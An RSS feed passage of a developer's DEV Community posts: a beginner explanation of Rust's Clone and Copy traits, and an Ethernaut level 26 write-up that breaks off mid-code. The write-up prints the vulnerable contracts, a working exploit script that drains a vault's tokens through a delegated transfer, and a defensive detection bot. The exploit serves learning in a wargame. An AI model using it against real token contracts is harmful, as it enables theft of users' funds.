<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Naveen ⚡</title>
    <description>The latest articles on DEV Community by Naveen ⚡ (@nvnx).</description>
    <link>https://dev.to/nvnx</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F779655%2F8074b6df-6dcb-4b73-8206-7d9a27e0c151.png</url>
      <title>DEV Community: Naveen ⚡</title>
      <link>https://dev.to/nvnx</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/nvnx"/>
    <language>en</language>
    <item>
      <title>Disambiguating Clone and Copy traits in Rust</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Mon, 27 Jun 2022 18:40:20 +0000</pubDate>
      <link>https://dev.to/nvnx/disambiguating-clone-and-copy-traits-in-rust-4edk</link>
      <guid>https://dev.to/nvnx/disambiguating-clone-and-copy-traits-in-rust-4edk</guid>
      <description>&lt;p&gt;If you've been dipping your toes in the awesome Rust language, you must've encountered the clone() method which is present in almost every object out there to make a  deep copy of it. It comes from the implementation of Clone trait for a struct.&lt;/p&gt;

&lt;p&gt;But, you must also have encountered this Copy trait if you ventured a bit into docs deeper or in an error message. Copy also allows some type to replicate its instances. So, what's the deal here with Clone and Copy traits? That is exactly what this article is about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ownership in Rust
&lt;/h2&gt;

&lt;p&gt;I won't delve too deep into ownership here, but this is what we need to know to get the gist of this article:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unlike other languages, each value in Rust has an &lt;strong&gt;owner&lt;/strong&gt; which is the variable assigned to it.&lt;/li&gt;
&lt;li&gt;Any value can only have &lt;strong&gt;one owner at a time&lt;/strong&gt;. Although, multiple variables can hold reference to or borrow the same value - but that value will only have one owner.&lt;/li&gt;
&lt;li&gt;When the owner (variable) goes out of scope, the value is destroyed - freeing the memory.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ownership model in Rust may seem constraining but it is one of the things that makes Rust a great language. It makes you, the programmer, harder to write code with hideous bugs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Memory Allocation in Rust
&lt;/h2&gt;

&lt;p&gt;Normally, you don't have to worry about &lt;a href="https://www.geeksforgeeks.org/stack-vs-heap-memory-allocation/"&gt;stack or heap memory allocation&lt;/a&gt; - it is done automatically by the language. But in Rust, a variable may behave differently depending on whether it is on the stack or heap. Rust strives to be performant because of it. &lt;/p&gt;

&lt;p&gt;The general rule is that simple values like numeric types - &lt;code&gt;u16&lt;/code&gt;, &lt;code&gt;i32&lt;/code&gt;, &lt;code&gt;f64&lt;/code&gt; etc. - are stored on the stack as they have known fixed size and it is cheap to copy them. Pointers like &lt;code&gt;&amp;amp;str&lt;/code&gt; (NOT the value it is pointing to!) are also stored on the stack because of their fixed size!&lt;/p&gt;

&lt;p&gt;Dynamically sized types (DSTs) like &lt;code&gt;String&lt;/code&gt; and &lt;code&gt;Vec&lt;/code&gt; are stored on the heap. DSTs can be mutated to grow or shrink in size. They don't have a fixed size and it can be very expensive to copy them making them unsuitable for stack location.&lt;/p&gt;

&lt;p&gt;Alright! That is enough primer, let's cut to the chase.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;Clone&lt;/code&gt; trait
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Clone&lt;/code&gt; trait defines the ability to &lt;strong&gt;explicitly&lt;/strong&gt; deep copy an object. Take an example of a &lt;code&gt;String&lt;/code&gt; struct instance that implements &lt;code&gt;Clone&lt;/code&gt; trait.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// initial owner of string value&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"hello!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// ownership of same value transferred to s2&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 

&lt;span class="c1"&gt;// error! s1 was moved!&lt;/span&gt;
&lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above example works according to ownership rules of Rust. The assignment of &lt;code&gt;s1&lt;/code&gt; to &lt;code&gt;s2&lt;/code&gt; transfers ownership of the &lt;code&gt;String&lt;/code&gt; instance to &lt;code&gt;s2&lt;/code&gt;, since there can be only one owner of a value at a time in Rust. If you've worked with other statically typed languages you might call this a shallow copy of &lt;code&gt;s1&lt;/code&gt; as &lt;code&gt;s2&lt;/code&gt; now points to the same data as &lt;code&gt;s1&lt;/code&gt; was pointing to, without any re-allocation in memory. Only pointer in the stack was copied, not value in the heap.&lt;/p&gt;

&lt;p&gt;In Rust lingo however, it is termed as a &lt;strong&gt;move&lt;/strong&gt;, in the sense that value of &lt;code&gt;s1&lt;/code&gt; is moved into &lt;code&gt;s2&lt;/code&gt; and &lt;code&gt;s1&lt;/code&gt; is no longer valid. Hence any access to &lt;code&gt;s1&lt;/code&gt; will result in an error - which is different from other languages.&lt;/p&gt;

&lt;p&gt;Now to make deep copy of the &lt;code&gt;String&lt;/code&gt; you will have to explicitly invoke the &lt;code&gt;clone()&lt;/code&gt; method. When you &lt;code&gt;clone()&lt;/code&gt; a value Rust would replicate both pointer in the stack as well as data at heap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// owner is s1&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"hello!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 

&lt;span class="c1"&gt;// deep copy of s1 is allocated to s2&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 

&lt;span class="c1"&gt;// this is fine!&lt;/span&gt;
&lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is what &lt;code&gt;clone()&lt;/code&gt; method does - making a &lt;strong&gt;deep copy&lt;/strong&gt; of an instance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Copy trait
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Copy&lt;/code&gt; trait defines the ability to &lt;strong&gt;implicitly&lt;/strong&gt; copy an object. This is available for the types that have a fixed size and are stored entirely on the stack. &lt;code&gt;u32&lt;/code&gt; is a good  example that implements &lt;code&gt;Copy&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// owner is n1&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;n1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// n1 is implicitly copied on stack and &lt;/span&gt;
&lt;span class="c1"&gt;// copied value is assigned to n2 &lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;n2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;n1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 

&lt;span class="c1"&gt;// this is fine!&lt;/span&gt;
&lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above example may seem contradictory to ownership rules at first. But, since &lt;code&gt;u32&lt;/code&gt; are &lt;code&gt;Copy&lt;/code&gt; type, &lt;code&gt;n1&lt;/code&gt; value is implicitly copied into &lt;code&gt;n2&lt;/code&gt; and NOT moved. This is because &lt;code&gt;u32&lt;/code&gt; values are stored on stack and it is cheap to copy them. There is no corresponding &lt;code&gt;copy()&lt;/code&gt; method provided by &lt;code&gt;Copy&lt;/code&gt; trait (unlike &lt;code&gt;Clone&lt;/code&gt;'s &lt;code&gt;clone()&lt;/code&gt;). The copy here happens implicitly. Also, there is no difference between a shallow copy or deep copy here. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;Copy&lt;/code&gt; trait can only be annotated to types that are stored on stack. Like integer types or structs that have all their fields of &lt;code&gt;Copy&lt;/code&gt; type. You cannot annotate a type as &lt;code&gt;Copy&lt;/code&gt; if any of its constituent parts cannot be stored on stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is fine!&lt;/span&gt;
&lt;span class="nd"&gt;#[derive(Clone,&lt;/span&gt; &lt;span class="nd"&gt;Copy)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Demo&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Copy type ✅&lt;/span&gt;
    &lt;span class="n"&gt;_b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;i8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Copy type ✅&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// This will NOT compile!&lt;/span&gt;
&lt;span class="nd"&gt;#[derive(Clone,&lt;/span&gt; &lt;span class="nd"&gt;Copy)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Demo&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// a Copy type ✅&lt;/span&gt;
    &lt;span class="n"&gt;_c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="c1"&gt;// NOT a Copy type! ❌&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;The difference between &lt;code&gt;Clone&lt;/code&gt; and &lt;code&gt;Copy&lt;/code&gt; traits become clear when you understand when and what values are stored on stack and heap. &lt;code&gt;Copy&lt;/code&gt; is exclusively for types that can be pushed on the stack and &lt;code&gt;Clone&lt;/code&gt; is for types that can be pushed on the stack as well as on the heap. &lt;/p&gt;

&lt;p&gt;Since making a copy of &lt;code&gt;Copy&lt;/code&gt; types is cheap, it is an implicit process. Instead of a &lt;strong&gt;move&lt;/strong&gt;, a &lt;code&gt;Copy&lt;/code&gt; (like &lt;code&gt;u32&lt;/code&gt;) type is copied when assigned to a variable. While making deep copy of a &lt;strong&gt;Clone&lt;/strong&gt; type is expensive. So, to make a deep copy of a &lt;code&gt;Clone&lt;/code&gt; type, you have to explicitly invoke the &lt;code&gt;clone()&lt;/code&gt; method, otherwise a move happens (copy pointer on stack), which is only a stack operation, hence cheap.&lt;/p&gt;

&lt;p&gt;Alright, I hope that clears the confusion between &lt;strong&gt;Copy&lt;/strong&gt; and &lt;strong&gt;Clone&lt;/strong&gt; traits in Rust!&lt;/p&gt;

&lt;p&gt;Find me on Twitter &lt;a href="https://twitter.com/the_nvn"&gt;@the_nvn&lt;/a&gt;!&lt;/p&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html"&gt;Understanding Ownership&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.geeksforgeeks.org/stack-vs-heap-memory-allocation/"&gt;Stack and Heap memory allocation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://doc.rust-lang.org/core/clone/trait.Clone.html"&gt;Clone trait&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>rust</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Ethernaut Hacks Level 26: Double Entry Point</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Sun, 12 Jun 2022 12:22:37 +0000</pubDate>
      <link>https://dev.to/nvnx/ethernaut-hacks-level-26-double-entry-point-1774</link>
      <guid>https://dev.to/nvnx/ethernaut-hacks-level-26-double-entry-point-1774</guid>
      <description>&lt;p&gt;This is the level 26 of OpenZeppelin &lt;a href="https://ethernaut.openzeppelin.com/"&gt;Ethernaut&lt;/a&gt; web3/solidity based game.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pre-requisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/latest/abi-spec.html#contract-abi-specification"&gt;Contract ABI Specification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hack
&lt;/h2&gt;

&lt;p&gt;Given contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address =&amp;gt; IDetectionBot) public usersDetectionBots;
  mapping(address =&amp;gt; uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) &amp;gt; previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;player&lt;/code&gt; has to find the bug in the &lt;code&gt;CryptoVault&lt;/code&gt; and create a Forta bot to protect it from being drained.&lt;/p&gt;

&lt;p&gt;First, let's figure out the exploit that allows to drain the underlying (DET) tokens. If you see the &lt;code&gt;sweepToken()&lt;/code&gt; method  it can be seen that it restricts sweeping the underlying tokens with a &lt;code&gt;require&lt;/code&gt; check - as expected. But take a look at &lt;code&gt;LegacyToken&lt;/code&gt;'s &lt;code&gt;transfer()&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if (address(delegate) == address(0)) {
    return super.transfer(to, value);
} else {
    return delegate.delegateTransfer(to, value, msg.sender);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks like it actually calls &lt;code&gt;delegateTransfer()&lt;/code&gt; method of some &lt;code&gt;DelegateERC20&lt;/code&gt; contract. But this &lt;code&gt;DelegateERC20&lt;/code&gt; is nothing but the implementation of the underlying (&lt;code&gt;DET&lt;/code&gt;) token itself! And &lt;code&gt;delegateTransfer()&lt;/code&gt; simply transfers the tokens according to given parameters. The only restriction &lt;code&gt;delegateTransfer()&lt;/code&gt; puts is that &lt;code&gt;msg.sender&lt;/code&gt; must be the LegacyToken (&lt;code&gt;delegatedFrom&lt;/code&gt; address) contract.&lt;/p&gt;

&lt;p&gt;So we can indirectly sweep the underlying tokens through &lt;code&gt;transfer()&lt;/code&gt; of &lt;code&gt;LegacyToken&lt;/code&gt; contract. We simply call &lt;code&gt;sweepToken&lt;/code&gt; with address of &lt;code&gt;LegacyToken&lt;/code&gt; contract. That in turn would make the &lt;code&gt;LegacyContract&lt;/code&gt; to call the &lt;code&gt;DoubleEntryPoint&lt;/code&gt;'s (DET token) &lt;code&gt;delegateTransfer()&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;vault&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cryptoVault&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Check initial balance (100 DET)&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// '100000000000000000000'&lt;/span&gt;

&lt;span class="nx"&gt;legacyToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;delegatedFrom&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// sweepTokens(..) function call data&lt;/span&gt;
&lt;span class="nx"&gt;sweepSig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionCall&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sweepToken&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;function&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;legacyToken&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;// Send exploit transaction&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;sweepSig&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="c1"&gt;// Check balance (0 DET)&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vault&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// '0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;CryptoVault&lt;/code&gt; is swept of DET tokens!&lt;/p&gt;

&lt;p&gt;This worked because during invocation &lt;code&gt;transfer()&lt;/code&gt; of &lt;code&gt;LegacyToken&lt;/code&gt; the &lt;code&gt;msg.sender&lt;/code&gt; was &lt;code&gt;CryptoVault&lt;/code&gt;. And when &lt;code&gt;delegateTransfer()&lt;/code&gt; invoked right after, the &lt;code&gt;origSender&lt;/code&gt; is the passed in address of &lt;code&gt;CryptoVault&lt;/code&gt; contract and &lt;code&gt;msg.sender&lt;/code&gt; is &lt;code&gt;LegacyToken&lt;/code&gt; so &lt;code&gt;onlyDelegateFrom&lt;/code&gt; modifier checks out.&lt;/p&gt;

&lt;p&gt;Now to prevent this exploit we have to write a bot which would be a simple contract implementing the &lt;code&gt;IDetectionBot&lt;/code&gt; interface. In the bot's &lt;code&gt;handleTransaction(..)&lt;/code&gt; we could simply check that the address was not &lt;code&gt;CryptoVault&lt;/code&gt; address. If so, raise alert. Hence preventing sweep.&lt;/p&gt;

&lt;p&gt;Open up Remix and deploy the bot (on Rinkeby) and copy its address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.8.0;

interface IForta {
    function raiseAlert(address user) external;
}

contract FortaDetectionBot {
    address private cryptoVault;

    constructor(address _cryptoVault) {
        cryptoVault = _cryptoVault;
    }

    function handleTransaction(address user, bytes calldata msgData) external {
        // Extract the address of original message sender
        // which should start at offset 168 (0xa8) of calldata
        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }

        if (origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that in the above &lt;code&gt;FortaDetectionBot&lt;/code&gt; contract we extract the address of the original transaction sender by calculating its offset according to the &lt;a href="https://docs.soliditylang.org/en/latest/abi-spec.html#argument-encoding"&gt;ABI encoding&lt;/a&gt; specs.&lt;/p&gt;

&lt;p&gt;Now set the bot in &lt;code&gt;Forta&lt;/code&gt; contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// FortaDetectionBot&lt;/span&gt;
&lt;span class="nx"&gt;botAddr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;// Forta contract address&lt;/span&gt;
&lt;span class="nx"&gt;forta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forta&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// setDetectionBot() function call data&lt;/span&gt;
